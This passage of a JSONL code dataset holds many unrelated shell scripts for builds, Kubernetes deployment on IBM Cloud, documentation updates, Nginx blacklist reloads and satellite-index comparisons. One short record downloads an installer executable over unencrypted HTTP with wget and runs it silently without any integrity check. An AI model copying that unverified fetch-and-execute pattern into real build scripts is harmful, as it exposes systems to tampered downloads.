esac\ndone\n\nshift \"$(($OPTIND-1))\"\n\nif [ -z \"$SERIAL_NUMBER\" ]; then\n cli_error \"-s not specified!\"\n exit 1\nfi\n\nif [ -z \"$FCC_IP_ADDRESS\" ]; then\n cli_error \"-i not specified!\"\n exit 1\nfi\n\nif [ -z \"$FCC_PORT\" ]; then\n cli_error \"-p not specified!\"\n exit 1\nfi\n\nif [ ! -z \"$HW_VERSION\" ]; then\n QUERY=\"$QUERY&hardwareVersion=$HW_VERSION\"\nfi\n\nif [ ! -z \"$RADIO_CONFIG\" ]; then\n QUERY=\"$QUERY&radioConfig=$RADIO_CONFIG\"\nfi\n\nif [ ! -z \"$LED_CONFIG\" ]; then\n QUERY=\"$QUERY&ledConfig=$LED_CONFIG\"\nfi\n\nif [ ! -z \"$CATEGORY\" ]; then\n QUERY=\"$QUERY&category=$CATEGORY\"\nfi\n\nif [ ! -z \"$FCC_IP_ADDRESS\" ]; then\n QUERY=\"$QUERY&ip=$FCC_IP_ADDRESS\"\nfi\n\nif [ ! -z \"$FCC_PORT\" ]; then\n QUERY=\"$QUERY&port=$FCC_PORT\"\nfi\n\nif [[ $FSS = \"true\" ]]\nthen\n setup_fss\nfi\n\ncurl -G \\\n --data-urlencode \"serialNumber=$SERIAL_NUMBER\" \\\n --data-urlencode \"apiAddress=$API_URL\" \\\n --data-urlencode \"gatewayServicesAddress=$GW_URL\" \\\n --data-urlencode \"verificationKey=$VERIFICATION_KEY\" \\\n $PEP_SERVER_URL/$API_VERSION/identity?$QUERY $VERBOSE > \"identity.json\" \ncat ./identity.json"} {"text": "0\n#!/bin/bash\nbase=/home/forge/laravel.com\ndocs=${base}/resources/docs\n\ncd ${docs}/5.5 && git pull origin 5.5\ncd ${docs}/5.8 && git pull origin 5.8\ncd ${docs}/6.0 && git pull origin 6.0\ncd ${docs}/6.x && git pull origin 6.x\ncd ${docs}/7.x && git pull origin 7.x\ncd ${docs}/master && git pull origin master\n\ncd $base && php artisan docs:clear-cache"} {"text": "#!/bin/bash\njava -d32 -XstartOnFirstThread -jar \"`dirname $0`\"/lib/tikal.jar \"$@\""} {"text": "python train.py --backbone resnet --dataset cityscapes --loss-type ce --gpu-ids 0"} {"text": "someonewithpc/control-systems-project0\n#!/bin/sh\n\npdflatex rh_table.tex\nconvert -density 600 -colorspace RGB rh_table.pdf rh_table.png\nrm rh_table.pdf"} {"text": "cyber-dojo/differ\n\n# - - - - - - - - - - - - - - - - - - - - - - - -\non_ci_publish_tagged_images()\n{\n echo\n if ! on_ci; then\n echo 'not on CI so not publishing tagged images'\n else\n echo 'on CI so publishing tagged images'\n docker push $(image_name):$(image_tag)\n docker push $(image_name):latest\n fi\n echo\n}"} {"text": "#!/bin/bash\n\nffbuild_enabled() {\n [[ $TARGET != linux* ]] && return -1\n return 0\n}\n\nffbuild_dockerbuild() {\n rm \"$FFBUILD_PREFIX\"/lib/lib*.so* || true\n rm \"$FFBUILD_PREFIX\"/lib/*.la || true\n}"} {"text": "#!/usr/bin/env bash\ncd \"$(dirname \"$0\")\"\n\nbump=$1\n\ncd projects/angular-highcharts\nnpm --no-git-tag-version version \"$bump\" > /tmp/version.txt\necho \"$(< /tmp/version.txt)\"\ncd ..\ncd ..\n\ngit add projects/angular-highcharts/package.json\ngit commit -m \"Bump to $(< /tmp/version.txt)\"\ngit tag -a \"$(< /tmp/version.txt)\" -m \"$(< /tmp/version.txt)\"\n\nrm /tmp/version.txt"} {"text": "daranguizml/px-ios\n#!/bin/bash -e\nbooted=( $(xcrun simctl list | sed -n 's/.*(\\(.*\\)) (Booted)/\\1/p') )\n\ncd ../MercadoPagoSDK\n\nif [ ${#booted[@]} != 0 ]; then\n device=${booted[0]}\n if `gem list xcpretty -i`; then\n xcodebuild -workspace MercadoPagoSDK.xcworkspace -scheme MercadoPagoSDKTests -destination 'id='$device'' clean test| grep error | xcpretty -t\n else\n xcodebuild -workspace MercadoPagoSDK.xcworkspace -scheme MercadoPagoSDKTests -destination 'id='$device'' clean test| grep error\n fi\nelse\n if `gem list xcpretty -i`; then\n xcodebuild -workspace MercadoPagoSDK.xcworkspace -scheme MercadoPagoSDKTests -destination 'platform=iOS Simulator,name=iPhone SE,OS=11.4' clean test| grep error | xcpretty -t\n else \n xcodebuild -workspace MercadoPagoSDK.xcworkspace -scheme MercadoPagoSDKTests -destination 'platform=iOS Simulator,name=iPhone SE,OS=11.4' clean test| grep error\n fi\nfi\nexit ${PIPESTATUS[0]}"} {"text": "#!/usr/bin/env bash\n\nif [ ! -f ./is.exe ]; then\n wget -q http://www.jrsoftware.org/download.php/is.exe\nfi\n./is.exe //VERYSILENT //SUPRESSMSGBOXES //ALLUSERS"} {"text": "devizer/KernelManagementLab1-10\n#!/usr/bin/env bash\nsudo -u postgres pg_dump w3top > bin/w3top-dump.sql"} {"text": "BapReduce/reduce.sh0\n#!/bin/bash\n\n#First check that an appropriate number of arguments has been entered: if not, print error and exit with exit code 1.\nif [ $# -ne 1 ]; then\n echo \"$0 requires exactly one argument\"\n exit 1\nfi\n\n#input\nkey_file=$1\n\n#Count of instances of key (lines in key_file)\ncount_keys=0\nwhile read -r line; do\n ((count_keys++))\ndone < \"$key_file\"\n\n#Send key and count to job master\n#First lock reduce_pipe against inputs from other reduce processes\n./p.sh reduce_pipe\n#Critical section\necho ${key_file#*/} $count_keys > reduce_pipe\n#Release lock\n./v.sh reduce_pipe\n\n#Exit script\nexit 0"} {"text": "Huawei-HiQ/hiq-deployment\n#!/bin/sh\n# Basic checks for debian/patches/ada-lib-info-source-date-epoch.diff.\n\n# Copyright (C) 2020 <>\n\n# Usage:\n# build GCC\n# sh debian/ada/test_ada_source_date_epoch.sh\n# rm -fr build/test_ada_source_data_epoch\n\nset -C -e -u -x\n\n# Inside the GCC tree:\nmkdir build/test_ada_source_data_epoch\ncd build/test_ada_source_data_epoch\nexport LD_LIBRARY_PATH=../gcc/ada/rts:`echo ../*/libgnat_util/.libs`\ngnatmake=\"../gcc/gnatmake --RTS=`echo ../*/libada` --GCC=../gcc/xgcc -c -v\"\n# For local tests:\n# gnatmake=\"gnatmake -c -v\"\n\ncat > lib.ads < main.adb <API_KEY}; fi #when used outside build-in kube job\n kubectl --namespace ${CLUSTER_NAMESPACE} create secret docker-registry ${IMAGE_PULL_SECRET_NAME} --docker-server=${REGISTRY_URL} --docker-password=${PIPELINE_BLUEMIX_API_KEY} --docker-username=iamapikey --docker-email=\nelse\n echo -e \"Namespace ${CLUSTER_NAMESPACE} already has an imagePullSecret for this toolchain.\"\nfi\nif [ -z \"${KUBERNETES_SERVICE_ACCOUNT_NAME}\" ]; then KUBERNETES_SERVICE_ACCOUNT_NAME=\"default\" ; fi\nSERVICE_ACCOUNT=$(kubectl get serviceaccount ${KUBERNETES_SERVICE_ACCOUNT_NAME} -o json --namespace ${CLUSTER_NAMESPACE} )\nif ! echo ${SERVICE_ACCOUNT} | jq -e '. | has(\"imagePullSecrets\")' > /dev/null ; then\n kubectl patch --namespace ${CLUSTER_NAMESPACE} serviceaccount/${KUBERNETES_SERVICE_ACCOUNT_NAME} -p '{\"imagePullSecrets\":[{\"name\":\"'\"${IMAGE_PULL_SECRET_NAME}\"'\"}]}'\nelse\n if echo ${SERVICE_ACCOUNT} | jq -e '.imagePullSecrets[] | select(.name==\"'\"${IMAGE_PULL_SECRET_NAME}\"'\")' > /dev/null ; then \n echo -e \"Pull secret already found in ${KUBERNETES_SERVICE_ACCOUNT_NAME} serviceAccount\"\n else\n echo \"Inserting toolchain pull secret into ${KUBERNETES_SERVICE_ACCOUNT_NAME} serviceAccount\"\n kubectl patch --namespace ${CLUSTER_NAMESPACE} serviceaccount/${KUBERNETES_SERVICE_ACCOUNT_NAME} --type='json' -p='[{\"op\":\"add\",\"path\":\"/imagePullSecrets/-\",\"value\":{\"name\": \"'\"${IMAGE_PULL_SECRET_NAME}\"'\"}}]'\n fi\nfi\necho \"${KUBERNETES_SERVICE_ACCOUNT_NAME} serviceAccount:\"\nkubectl get serviceaccount ${KUBERNETES_SERVICE_ACCOUNT_NAME} --namespace ${CLUSTER_NAMESPACE} -o yaml\necho -e \"Namespace ${CLUSTER_NAMESPACE} authorizing with private image registry using patched ${KUBERNETES_SERVICE_ACCOUNT_NAME} serviceAccount\"\n\necho \"==========================================================\"\necho \"CHECKING DEPLOYMENT.YML manifest\"\nif [ -z \"${DEPLOYMENT_FILE}\" ]; then DEPLOYMENT_FILE=deployment.yml ; fi\nif [ ! -f ${DEPLOYMENT_FILE} ]; then\n echo \"No ${DEPLOYMENT_FILE} found. Initializing it.\"\n deployment_content=$(cat <<'EOT'\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n name: %s\nspec:\n replicas: 1\n selector:\n matchLabels:\n app: %s\n template:\n metadata:\n labels:\n app: %s\n spec:\n containers:\n - name: %s\n image: %s\n imagePullPolicy: IfNotPresent\n ports:\n - containerPort: %s\n---\napiVersion: v1\nkind: Service\nmetadata:\n name: my-cip\nspec:\n selector:\n app: %s\n ports:\n - protocol: TCP\n port: %s\n targetPort: %s\n---\napiVersion: networking.k8s.io/v1\nkind: Ingress\nmetadata:\n name: %s\n namespace: %s\n annotations:\n kubernetes.io/ingress.class: \"public-iks-k8s-nginx\"\n labels:\n app: %s\nspec:\n tls:\n - hosts: \n - %s.classroom-eu-gb-1-bx2-4x1-d4ceb080620f0ec34cd169ad110144ef-0000.eu-gb.containers.appdomain.cloud\n secretName: classroom-eu-gb-1-bx2-4x1-d4ceb080620f0ec34cd169ad110144ef-0000\n rules:\n - host: %s.classroom-eu-gb-1-bx2-4x1-d4ceb080620f0ec34cd169ad110144ef-0000.eu-gb.containers.appdomain.cloud\n http:\n paths:\n - path: /\n pathType: Prefix\n backend:\n service:\n name: my-cip\n port:\n number: %s\nEOT\n)\n # Find the port\n PORT=$(ibmcloud cr image-inspect \"${IMAGE}\" --format '{{ range $key,$value := .Config.ExposedPorts }} {{ $key }} {{ \"\" }} {{end}}' | sed -E 's/^[^0-9]*([0-9]+).*$/\\1/') || true\n if [ \"$PORT\" -eq \"$PORT\" ] 2>/dev/null; then\n echo \"ExposedPort $PORT found while inspecting image ${IMAGE}\"\n else \n echo \"Found '$PORT' as ExposedPort while inspecting image ${IMAGE}, non numeric value so using 5000 as containerPort\"\n PORT=5000\n fi\n # Generate deployment file \n echo \"GENERATED ${DEPLOYMENT_FILE}:\"\n # Derive an application name from toolchain name ensuring it is conform to DNS-1123 subdomain\n application_name=$(echo ${IDS_PROJECT_NAME:-$IMAGE_NAME} | tr -cd '[:alnum:].-')\n printf \"$deployment_content\" \\\n \"${application_name}\" \"${application_name}\" \"${application_name}\" \"${application_name}\" \"${IMAGE}\" \"${PORT}\" \\\n \"${application_name}\" \"${PORT}\" \"${PORT}\" \\\n \"${application_name}\" \"${CLUSTER_NAMESPACE}\" \"${application_name}\" \"${CLUSTER_NAMESPACE}\" \"${CLUSTER_NAMESPACE}\" \"${PORT}\" | tee ${DEPLOYMENT_FILE}\nfi\n\necho \"==========================================================\"\necho \"UPDATING manifest with image information\"\necho -e \"Updating ${DEPLOYMENT_FILE} with image name: ${IMAGE}\"\nNEW_DEPLOYMENT_FILE=\"$(dirname $DEPLOYMENT_FILE)/tmp.$(basename $DEPLOYMENT_FILE)\"\n# find the yaml document index for the K8S deployment definition\nDEPLOYMENT_DOC_INDEX=$(yq read --doc \"*\" --tojson $DEPLOYMENT_FILE | jq -r 'to_entries | .[] | select(.value.kind | ascii_downcase==\"deployment\") | .key')\nif [ -z \"$DEPLOYMENT_DOC_INDEX\" ]; then\n echo \"No Kubernetes Deployment definition found in $DEPLOYMENT_FILE. Updating YAML document with index 0\"\n DEPLOYMENT_DOC_INDEX=0\nfi\n# Update deployment with image name\nyq write $DEPLOYMENT_FILE --doc $DEPLOYMENT_DOC_INDEX \"spec.template.spec.containers[0].image\" \"${IMAGE}\" > ${NEW_DEPLOYMENT_FILE}\nDEPLOYMENT_FILE=${NEW_DEPLOYMENT_FILE} # use modified file\ncat ${DEPLOYMENT_FILE}\n\nif [ ! -z \"${CLUSTER_INGRESS_SUBDOMAIN}\" ] && [ \"${KEEP_INGRESS_CUSTOM_DOMAIN}\" != true ]; then\n echo \"==========================================================\"\n echo \"UPDATING manifest with ingress information\"\n INGRESS_DOC_INDEX=$(yq read --doc \"*\" --tojson $DEPLOYMENT_FILE | jq -r 'to_entries | .[] | select(.value.kind | ascii_downcase==\"ingress\") | .key')\n if [ -z \"$INGRESS_DOC_INDEX\" ]; then\n echo \"No Kubernetes Ingress definition found in $DEPLOYMENT_FILE.\"\n else\n # Update ingress with cluster domain/secret information\n # Look for ingress rule whith host contains the token \"cluster-ingress-subdomain\"\n INGRESS_RULES_INDEX=$(yq r --doc $INGRESS_DOC_INDEX --tojson $DEPLOYMENT_FILE | jq '.spec.rules | to_entries | .[] | select( .value.host | contains(\"cluster-ingress-subdomain\")) | .key')\n if [ ! -z \"$INGRESS_RULES_INDEX\" ]; then\n INGRESS_RULE_HOST=$(yq r --doc $INGRESS_DOC_INDEX $DEPLOYMENT_FILE spec.rules[${INGRESS_RULES_INDEX}].host)\n yq w --inplace --doc $INGRESS_DOC_INDEX $DEPLOYMENT_FILE spec.rules[${INGRESS_RULES_INDEX}].host ${INGRESS_RULE_HOST/cluster-ingress-subdomain/$CLUSTER_INGRESS_SUBDOMAIN}\n fi\n # Look for ingress tls whith secret contains the token \"cluster-ingress-secret\"\n INGRESS_TLS_INDEX=$(yq r --doc $INGRESS_DOC_INDEX --tojson $DEPLOYMENT_FILE | jq '.spec.tls | to_entries | .[] | select(.secretName=\"cluster-ingress-secret\") | .key')\n if [ ! -z \"$INGRESS_TLS_INDEX\" ]; then\n yq w --inplace --doc $INGRESS_DOC_INDEX $DEPLOYMENT_FILE spec.tls[${INGRESS_TLS_INDEX}].secretName $CLUSTER_INGRESS_SECRET\n INGRESS_TLS_HOST_INDEX=$(yq r --doc $INGRESS_DOC_INDEX $DEPLOYMENT_FILE spec.tls[${INGRESS_TLS_INDEX}] --tojson | jq '.hosts | to_entries | .[] | select( .value | contains(\"cluster-ingress-subdomain\")) | .key')\n if [ ! -z \"$INGRESS_TLS_HOST_INDEX\" ]; then\n INGRESS_TLS_HOST=$(yq r --doc $INGRESS_DOC_INDEX $DEPLOYMENT_FILE spec.tls[${INGRESS_TLS_INDEX}].hosts[$INGRESS_TLS_HOST_INDEX])\n yq w --inplace --doc $INGRESS_DOC_INDEX $DEPLOYMENT_FILE spec.tls[${INGRESS_TLS_INDEX}].hosts[$INGRESS_TLS_HOST_INDEX] ${INGRESS_TLS_HOST/cluster-ingress-subdomain/$CLUSTER_INGRESS_SUBDOMAIN}\n fi\n fi\n cat $DEPLOYMENT_FILE\n fi\nfi\n\necho \"==========================================================\"\necho \"DEPLOYING using manifest\"\nset -x\nkubectl apply --namespace ${CLUSTER_NAMESPACE} -f ${DEPLOYMENT_FILE} \nset +x\n# Extract name from actual Kube deployment resource owning the deployed container image \n# Ensure that the image match the repository, image name and tag without the @ sha id part to handle\n# case when image is sha-suffixed or not - ie:\n# us.icr.io/sample/hello-containers-20190823092122682:1-master-a15bd262-20190823100927\n# or\n# us.icr.io/sample/hello-containers-20190823092122682:1-master-a15bd262-20190823100927@sha256:9b56a4cee384fa0e9939eee5c6c0d9912e52d63f44fa74d1f93f3496db773b2e\nDEPLOYMENT_NAME=$(kubectl get deploy --namespace ${CLUSTER_NAMESPACE} -o json | jq -r '.items[] | select(.spec.template.spec.containers[]?.image | test(\"'\"${IMAGE}\"'(@.+|$)\")) | .metadata.name' )\necho -e \"CHECKING deployment rollout of ${DEPLOYMENT_NAME}\"\necho \"\"\nset -x\nif kubectl rollout status deploy/${DEPLOYMENT_NAME} --watch=true --timeout=${ROLLOUT_TIMEOUT:-\"150s\"} --namespace ${CLUSTER_NAMESPACE}; then\n STATUS=\"pass\"\nelse\n STATUS=\"fail\"\nfi\nset +x\n\n# Dump events that occured during the rollout\necho \"SHOWING last events\"\nkubectl get events --sort-by=.metadata.creationTimestamp -n ${CLUSTER_NAMESPACE}\n\n# Record deploy information\nif jq -e '.services[] | select(.service_id==\"draservicebroker\")' _toolchain.json > /dev/null 2>&1; then\n if [ -z \"${KUBERNETES_MASTER_ADDRESS}\" ]; then\n DEPLOYMENT_ENVIRONMENT=\"${PIPELINE_KUBERNETES_CLUSTER_NAME}:${CLUSTER_NAMESPACE}\"\n else \n DEPLOYMENT_ENVIRONMENT=\"${KUBERNETES_MASTER_ADDRESS}:${CLUSTER_NAMESPACE}\"\n fi\n ibmcloud doi publishdeployrecord --env $DEPLOYMENT_ENVIRONMENT \\\n --buildnumber ${SOURCE_BUILD_NUMBER} --logicalappname=\"${APP_NAME:-$IMAGE_NAME}\" --status ${STATUS}\nfi\nif [ \"$STATUS\" == \"fail\" ]; then\n echo \"DEPLOYMENT FAILED\"\n echo \"Showing registry pull quota\"\n ibmcloud cr quota || true\n exit 1\nfi\n# Extract app name from actual Kube pod \n# Ensure that the image match the repository, image name and tag without the @ sha id part to handle\n# case when image is sha-suffixed or not - ie:\n# us.icr.io/sample/hello-containers-20190823092122682:1-master-a15bd262-20190823100927\n# or\n# us.icr.io/sample/hello-containers-20190823092122682:1-master-a15bd262-20190823100927@sha256:9b56a4cee384fa0e9939eee5c6c0d9912e52d63f44fa74d1f93f3496db773b2e\necho \"==========================================================\"\nAPP_NAME=$(kubectl get pods --namespace ${CLUSTER_NAMESPACE} -o json | jq -r '[ .items[] | select(.spec.containers[]?.image | test(\"'\"${IMAGE}\"'(@.+|$)\")) | .metadata.labels.app] [0]')\necho -e \"APP: ${APP_NAME}\"\necho \"DEPLOYED PODS:\"\nkubectl describe pods --selector app=${APP_NAME} --namespace ${CLUSTER_NAMESPACE}\n\n# lookup service for current release\nAPP_SERVICE=$(kubectl get services --namespace ${CLUSTER_NAMESPACE} -o json | jq -r ' .items[] | select (.spec.selector.release==\"'\"${RELEASE_NAME}\"'\") | .metadata.name ')\nif [ -z \"${APP_SERVICE}\" ]; then\n # lookup service for current app with NodePort type\n # unless there is an ingress subdomain in the cluster - in that the service that is not NodePort would be exposed\n # First if ingress then look for a non NodePort service\n if [ \"${CLUSTER_INGRESS_SUBDOMAIN}\" ]; then \n APP_SERVICE=$(kubectl get services --namespace ${CLUSTER_NAMESPACE} -o json | jq -r ' .items[] | select (.spec.selector.app==\"'\"${APP_NAME}\"'\" and .spec.type!=\"NodePort\") | .metadata.name ')\n fi\n # If nothing found then fallback to a NodePort service\n if [ -z \"${APP_SERVICE}\" ]; then\n APP_SERVICE=$(kubectl get services --namespace ${CLUSTER_NAMESPACE} -o json | jq -r ' .items[] | select (.spec.selector.app==\"'\"${APP_NAME}\"'\" and .spec.type==\"NodePort\") | .metadata.name ')\n fi \nfi\nif [ ! -z \"${APP_SERVICE}\" ]; then\n APP_SERVICE_TYPE=$(kubectl get service $APP_SERVICE --namespace ${CLUSTER_NAMESPACE} -o json | jq -r '.spec.type')\n echo -e \"SERVICE: ${APP_SERVICE}\"\n echo \"DEPLOYED SERVICES:\"\n kubectl describe services ${APP_SERVICE} --namespace ${CLUSTER_NAMESPACE}\nelse\n APP_SERVICE_TYPE=\"\"\nfi\n\necho \"\"\necho \"==========================================================\"\necho \"DEPLOYMENT SUCCEEDED\"\nAPP_URL=\"\"\nif [ \"${CLUSTER_INGRESS_SUBDOMAIN}\" ] && [ \"${USE_ISTIO_GATEWAY}\" != true ]; then\n APP_INGRESS=$(kubectl get ingress --namespace \"$CLUSTER_NAMESPACE\" -o json | jq -r --arg service_name \"${APP_SERVICE}\" ' .items[] | first(select(.spec.rules[].http.paths[].backend.serviceName==$service_name or .spec.rules[].http.paths[].backend.service.name==$service_name)) | .metadata.name')\n if [ \"$APP_INGRESS\" ]; then\n INGRESS_JSON=$(kubectl get ingress --namespace \"$CLUSTER_NAMESPACE\" \"${APP_INGRESS}\" -o json)\n # Expose app using ingress host and path for the service\n APP_HOST=$(echo $INGRESS_JSON | jq -r --arg service_name \"$APP_SERVICE\" '.spec.rules[] | first(select(.http.paths[].backend.serviceName==$service_name or .http.paths[].backend.service.name==$service_name)) | .host' | head -n1)\n APP_PATH=$(echo $INGRESS_JSON | jq -r --arg service_name \"$APP_SERVICE\" '.spec.rules[].http.paths[] | first(select(.backend.serviceName==$service_name or .backend.service.name==$service_name)) | .path' | head -n1)\n # Remove any group in the path in case of regex in ingress path definition\n # https://kubernetes.github.io/ingress-nginx/user-guide/ingress-path-matching/\n APP_PATH=$(echo \"$APP_PATH\" | sed \"s/([^)]*)//g\")\n # Remove the last / from APP_PATH if any\n APP_PATH=${APP_PATH%/}\n export APP_URL=https://${APP_HOST}${APP_PATH} # using 'export', the env var gets passed to next job in stage\n echo -e \"VIEW THE APPLICATION AT: ${APP_URL}\"\n fi\nfi\nif [ -z \"$APP_URL\" ] && [ \"$APP_SERVICE\" ]; then\n # No ingress resource linked the given service\n # Fallback according to the service type\n if [ \"$APP_SERVICE_TYPE\" = \"NodePort\" ]; then\n # Only NodePort will be available\n echo \"\"\n if [ \"${USE_ISTIO_GATEWAY}\" = true ]; then\n PORT=$( kubectl get svc istio-ingressgateway -n istio-system -o json | jq -r '.spec.ports[] | select (.name==\"http2\") | .nodePort ' )\n echo -e \"*** istio gateway enabled ***\"\n else\n PORT=$( kubectl get service ${APP_SERVICE} --namespace ${CLUSTER_NAMESPACE} -o json | jq -r '.spec.ports[0].nodePort' )\n fi\n if [ -z \"${KUBERNETES_MASTER_ADDRESS}\" ]; then\n echo \"Using first worker node ip address as NodeIP: ${IP_ADDR}\"\n else \n # check if a route resource exists in the this kubernetes cluster\n if kubectl explain route > /dev/null 2>&1; then\n # Assuming the kubernetes target cluster is an openshift cluster\n # Check if a route exists for exposing the service ${APP_SERVICE}\n if kubectl get routes --namespace ${CLUSTER_NAMESPACE} -o json | jq --arg service \"$APP_SERVICE\" -e '.items[] | select(.spec.to.name==$service)'; then\n echo \"Existing route to expose service $APP_SERVICE\"\n else\n # create OpenShift route\ncat > test-route.json << EOF\n{\"apiVersion\":\"route.openshift.io/v1\",\"kind\":\"Route\",\"metadata\":{\"name\":\"${APP_SERVICE}\"},\"spec\":{\"to\":{\"kind\":\"Service\",\"name\":\"${APP_SERVICE}\"}}}\nEOF\n echo \"\"\n cat test-route.json\n kubectl apply -f test-route.json --validate=false --namespace ${CLUSTER_NAMESPACE}\n kubectl get routes --namespace ${CLUSTER_NAMESPACE}\n fi\n echo \"LOOKING for host in route exposing service $APP_SERVICE\"\n IP_ADDR=$(kubectl get routes --namespace ${CLUSTER_NAMESPACE} -o json | jq --arg service \"$APP_SERVICE\" -r '.items[] | select(.spec.to.name==$service) | .status.ingress[0].host')\n PORT=80\n else\n # Use the KUBERNETES_MASTER_ADRESS\n IP_ADDR=${KUBERNETES_MASTER_ADDRESS}\n fi\n fi \n export APP_URL=http://${IP_ADDR}:${PORT} # using 'export', the env var gets passed to next job in stage\n echo -e \"VIEW THE APPLICATION AT: ${APP_URL}\"\n else\n if [ -z \"${KUBERNETES_MASTER_ADDRESS}\" ]; then\n CLUSTER_IP=$(kubectl get service ${APP_SERVICE} --namespace ${CLUSTER_NAMESPACE} -o json | jq -r '.spec.clusterIP')\n if [ \"$CLUSTER_IP\" ]; then\n IP_ADDR=$CLUSTER_IP\n fi\n PORT=$(kubectl get service ${APP_SERVICE} --namespace ${CLUSTER_NAMESPACE} -o json | jq -r '.spec.ports[0].port')\n else \n # Use the KUBERNETES_MASTER_ADRESS\n IP_ADDR=${KUBERNETES_MASTER_ADDRESS}\n PORT=$(kubectl get service ${APP_SERVICE} --namespace ${CLUSTER_NAMESPACE} -o json | jq -r '.spec.ports[0].port')\n fi\n export APP_URL=http://${IP_ADDR}:${PORT} # using 'export', the env var gets passed to next job in stage\n echo -e \"VIEW THE APPLICATION AT: ${APP_URL}\"\n fi\nfi"} {"text": "#!/bin/bash\ng++ -g h.cpp -o h 2> error.txt\ngdb --batch --command=test.gdb --args ./h 1 > output.txt"} {"text": "#!/bin/sh\n# Example usage of the script with Nginx - run in cron\n#\n# Requires you to create IPBlacklist.php with the contents of the example in README.\n# Just change the file_put_contents into echo (it's not echo to prevent 20 megabytes of output)\n#\n\nSCRIPT=$(readlink -f \"${0}\")\nSCRIPTPATH=$(dirname \"${SCRIPT}\")\n\n/usr/bin/php ${SCRIPTPATH}/IPBlacklist.php > /etc/nginx/conf.d/blacklisted-ips.conf\n\n# Reload nginx to apply changes\nif /usr/sbin/nginx -t -q\nthen\n /usr/sbin/service nginx reload\nelse\n /bin/echo \"Nginx config test failed, did not reload to prevent a crash\"\nfi"} {"text": ". ./multipoplib_r_3.sh \n\nEMTET_experiment 200 0 0.5\n\n# EMTET_experiment 200 1 0.5"} {"text": "#!/bin/sh\ngcc -I/usr/local/include -L/usr/local/lib -L/opt/X11/lib -O3 -Wall -Wno-deprecated-declarations -o nw -DTARGET_GLUT color.c config.c display.c main.c network.c simulation.c vector.c -framework OpenGL -framework GLUT -lm"} {"text": "0\n#!/bin/bash\n\n# compare validate the multispectral indices (MSI) from Google Earth Engine\n# by comparing to the our calculation\n\n#authors: \n#email:\n#add time: 24 March, 2019\n\n# Exit immediately if a command exits with a non-zero status. E: error trace\nset -eE -o functrace\n\ngee_msi_dir=~/Data/Qinghai-Tibet/beiluhe/beiluhe_landsat/landsat_multispectral_indices\nmsi_dir=./\n\n########################################################################\n## for landsat 8\n## compare ndvi\n#./compare_to_gee.py landsat8_ndvi.tif ${gee_msi_dir}/beiluhe_LC08_NDVI_2013to2013.tif\n#\n## compare ndwi\n#./compare_to_gee.py landsat8_ndwi.tif ${gee_msi_dir}/beiluhe_LC08_NDWI_2013to2013.tif\n\n# compare ndmi\n#./compare_to_gee.py landsat8_ndmi.tif ${gee_msi_dir}/beiluhe_LC08_NDMI_2013to2013.tif\n\n# compare brightness\n#./compare_to_gee.py landsat8_brightness.tif ${gee_msi_dir}/beiluhe_LC08_brightness_2013to2013.tif\n\n#greenness\n#./compare_to_gee.py landsat8_greenness.tif ${gee_msi_dir}/beiluhe_LC08_greenness_2013to2013.tif\n\n#wetness\n#./compare_to_gee.py landsat8_wetness.tif ${gee_msi_dir}/beiluhe_LC08_wetness_2013to2013.tif\n\n########################################################################\n## for landsat 7\nsat=landsat7\n./compare_to_gee.py ${sat}_ndvi.tif ${gee_msi_dir}/beiluhe_LE07_NDVI_1990to2018.tif\n./compare_to_gee.py ${sat}_ndwi.tif ${gee_msi_dir}/beiluhe_LE07_NDWI_1990to2018.tif\n./compare_to_gee.py ${sat}_ndmi.tif ${gee_msi_dir}/beiluhe_LE07_NDMI_1990to2018.tif\n./compare_to_gee.py ${sat}_brightness.tif ${gee_msi_dir}/beiluhe_LE07_brightness_1990to2018.tif\n./compare_to_gee.py ${sat}_greenness.tif ${gee_msi_dir}/beiluhe_LE07_greenness_1990to2018.tif\n./compare_to_gee.py ${sat}_wetness.tif ${gee_msi_dir}/beiluhe_LE07_wetness_1990to2018.tif\n\n\n########################################################################\n## for landsat 5\nsat=landsat5\n#./compare_to_gee.py ${sat}_ndvi.tif ${gee_msi_dir}/beiluhe_LT05_NDVI_2001to2018.tif\n#./compare_to_gee.py ${sat}_ndwi.tif ${gee_msi_dir}/beiluhe_LT05_NDWI_2001to2018.tif\n#./compare_to_gee.py ${sat}_ndmi.tif ${gee_msi_dir}/beiluhe_LT05_NDMI_2001to2018.tif\n#./compare_to_gee.py ${sat}_brightness.tif ${gee_msi_dir}/beiluhe_LT05_brightness_2001to2018.tif\n#./compare_to_gee.py ${sat}_greenness.tif ${gee_msi_dir}/beiluhe_LT05_greenness_2001to2018.tif\n#./compare_to_gee.py ${sat}_wetness.tif ${gee_msi_dir}/beiluhe_LT05_wetness_2001to2018.tif"} {"text": "#!/usr/bin/env bash\n\n\nFILE=${FILE:-megaexample.eventlog}\nrm -f megaexample.eventlog megaexample.eventlog.trace.json megaexample.eventlog.tracy\nenv STACK_YAML=\"stack-8.10.yaml\" stack install \\\n && opentelemetry-megaexample +RTS -T -l -ol${FILE} \\\n && eventlog-to-tracy ${FILE}"} {"text": "#!/bin/true\nset -e\n\n. $(dirname $(realpath -s $0))/common.sh\n\nactivateStage1Compiler\n\nextractSource linux\ncd linux-*\n\nif [[ \"${SERPENT_LIBC}\" == \"glibc\" ]]; then\n export SERPENT_STAGE1_TREE=$(getInstallDir \"1\")\n export PATH=\"${SERPENT_STAGE1_TREE}/usr/binutils/bin:${PATH}\"\nfi\n\n\nprintInfo \"Configuring headers\"\nexport ARCH=\"${SERPENT_TARGET_ARCH}\"\nmake mrproper\nmake headers\nfind usr/include -name '.*' -delete\nrm -vf usr/include/Makefile\n\nprintInfo \"Installing headers\"\ninstall -D -d -m 00755 \"${SERPENT_INSTALL_DIR}/usr/include\"\ncp -Rv usr/include \"${SERPENT_INSTALL_DIR}/usr/.\""} {"text": "0\n#!/bin/bash\nset -eux\n\nln -sf /etc/puppet/hiera.yaml /etc/hiera.yaml\n\nHOMEDIR=\"$homedir\"\nUSERNAME=`ls -ld $HOMEDIR | awk {'print $3'}`\nGROUPNAME=`ls -ld $HOMEDIR | awk {'print $4'}`\n\n# WRITE OUT STACKRC\ntouch $HOMEDIR/stackrc\nchmod 0600 $HOMEDIR/stackrc\n\ncat > $HOMEDIR/stackrc <<-EOF_CAT\nexport OS_AUTH_TYPE=password\nexport OS_PASSWORD=$\nexport OS_AUTH_URL=$auth_url\nexport OS_USERNAME=admin\nexport OS_PROJECT_NAME=admin\nexport COMPUTE_API_VERSION=1.1\nexport NOVA_VERSION=1.1\nexport OS_NO_CACHE=True\nexport OS_CLOUDNAME=undercloud\n# 1.34 is the latest API version in Ironic Pike supported by ironicclient\nexport 